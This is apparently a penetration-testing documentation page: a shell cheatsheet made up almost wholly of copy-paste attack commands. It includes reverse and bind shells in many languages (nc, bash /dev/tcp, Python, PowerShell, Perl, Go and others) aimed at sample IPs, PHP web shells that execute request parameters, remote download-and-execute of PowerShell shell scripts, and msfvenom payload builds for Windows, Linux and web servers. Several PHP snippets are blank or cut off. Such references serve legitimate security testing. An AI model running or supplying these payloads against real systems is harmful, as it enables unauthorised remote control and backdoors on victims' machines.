> For the complete documentation index, see [llms.txt](https://docs.ctrl-z.rocks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.ctrl-z.rocks/cheat-sheets/shells/shell-cheatsheet.md). # Shell Cheatsheet ## Reverse Shell #### Socat Listener: ``` socat file:`tty`,raw,echo=0 tcp-listen:4444 ``` Victim: ``` socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` #### Shell ``` nc -e /bin/sh 10.0.0.1 1234 ``` When `-c` works: ``` nc -c '/bin/bash -c "script /dev/null"' 127.0.0.1 1337 ``` With `/dev/tcp` ``` bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` Using FIFO (Doesn't work with upgrading?) ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ``` Using `telnet` (When no `nc` and no `/dev/tcp` available). Listen with `nc -n -vv -l -p 2222` ``` rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0/tmp/yolopipe ``` #### Python ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.170",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` #### PowerShell ```powershell powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # Base64 encoded (to avoid special char issues) # Generate: echo -n '' | iconv -t UTF-16LE | base64 -w0 powershell -nop -enc ``` #### Perl ``` perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` #### Ruby ``` ruby -rsocket -e'f=TCPSocket.open("",).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` #### Node.js ```javascript require('child_process').exec('bash -i >& /dev/tcp// 0>&1') ``` #### Lua ``` lua -e "require('socket');require('os');t=socket.tcp();t:connect('','');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` #### Golang ``` echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp",":");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ### Bind Shell #### Socat Listener: ``` socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane ``` Victim: ``` socat FILE:`tty`,raw,echo=0 TCP:10.10.10.10:1337 ``` #### Bash ``` port=4444; if [$# -eq 1]; then port=$1; fi; while true; do nc -lp $port -e /bin/bash;wait; done ``` #### Telnet Lazy Bind Shell using `telnet`: Listen with `nc -n -vv -l -p 2222` and don't forget the `&` at the end ``` while true; do sleep 5; rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0/tmp/yolopipe; done & ``` #### Python Connect via `nc`: ``` import socket as a; s = a.socket();s.bind(('0.0.0.0',1337));s.listen(1);(r,z) = s.accept();exec(r.recv(999)) ``` After connecting upgrade via: ``` import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/sh");s.close() ``` #### PHP Simple Test ``` ``` Minimal system shell ```

 
```

Reverse shell using a socket (cmd version)

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Reverse shell using a socket (file version)

```
&3 2>&3"); ?>
```

### Web Shell

#### PHP

Minimal webshell (`?cmd=ls`)

```
";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "

"; die; } ?> ``` Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code: ``` ``` Base64 encoded cmd webshell ``` ``` Execute system command ``` ``` ### Listener #### Shell **General Listener** Basic Listener, useful with upgrading ``` nc -vvlp 1337 ``` ``` stty -echo raw; nc -lp 1337; stty sane ``` **Listen on a specific IP** ``` nc -l -p 4444 -s 127.0.0.1 ``` ### Upgrading #### Socat Check section above (`Reverse Shell.Socat`) using a static binary. #### Shell * Use bash, not zsh * In reverse shell: Execute bash (for example using the Python method below) * In reverse shell: `export TERM=xterm-256color` * Switch to background with CTRL+Z * Configure local shell: `stty raw -echo` * Execute `fg` * In reverse shell: `reset` #### Python Once connected, use Python to spawn a bash process: ```python python -c 'import pty; pty.spawn("/bin/bash")' ``` Put this process into the background: ```bash ``` In your local shell, change the terminal settings and bring the background process to the foreground: ```bash stty raw -echo; fg ``` Finally, once the job is back in the foreground, you can set up the shell environment to be more user-friendly: ```bash export TERM=xterm ``` #### MSF ``` use post/multi/manage/shell_to_meterpreter ``` ### Fix Width On attacker host: ``` stty -a ``` In (`socat`) shell: ``` stty rows 57 cols 211 ``` ### Transferring files (e.g. socat or tsh) #### Attacker = Listener Sender: ``` nc -vvlp 1337 < file ``` Receiver: ``` nc > /tmp/yolofile ``` #### Victim = Listener Receiver: ``` nc -l -p 1234 > out.file ``` Sender: ``` nc -w 3 1234 < out.file ``` ### Aliases ``` alias "l"="ls -la" && \ alias ".."="cd .." ``` ### Upgrading with rlwrap ```bash # Wrap listener with rlwrap for arrow key support rlwrap nc -lvnp ``` ### Upgrading with script ```bash # Alternative to python pty script -qc /bin/bash /dev/null # Then Ctrl+Z, stty raw -echo; fg ``` ### Windows Reverse Shells ```powershell # Nishang Invoke-PowerShellTcp IEX(IWR https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress -Port # ConPtyShell (fully interactive Windows reverse shell) IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp -RemotePort # On listener side: stty raw -echo; (stty size; cat) | nc -lvnp ``` ### MSFVenom Payloads ```bash # Linux msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf -o shell.elf # Windows msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o meterpreter.exe msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll -o shell.dll # Web payloads msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f asp > shell.asp msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw ``` ### Resources * [Pentest Monkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * [revshells.com](https://www.revshells.com/) - Reverse shell generator * [xl7dev](http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/) * [Shell upgrading](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) * [Web Shells Introduction](https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-web-shells-part-3/)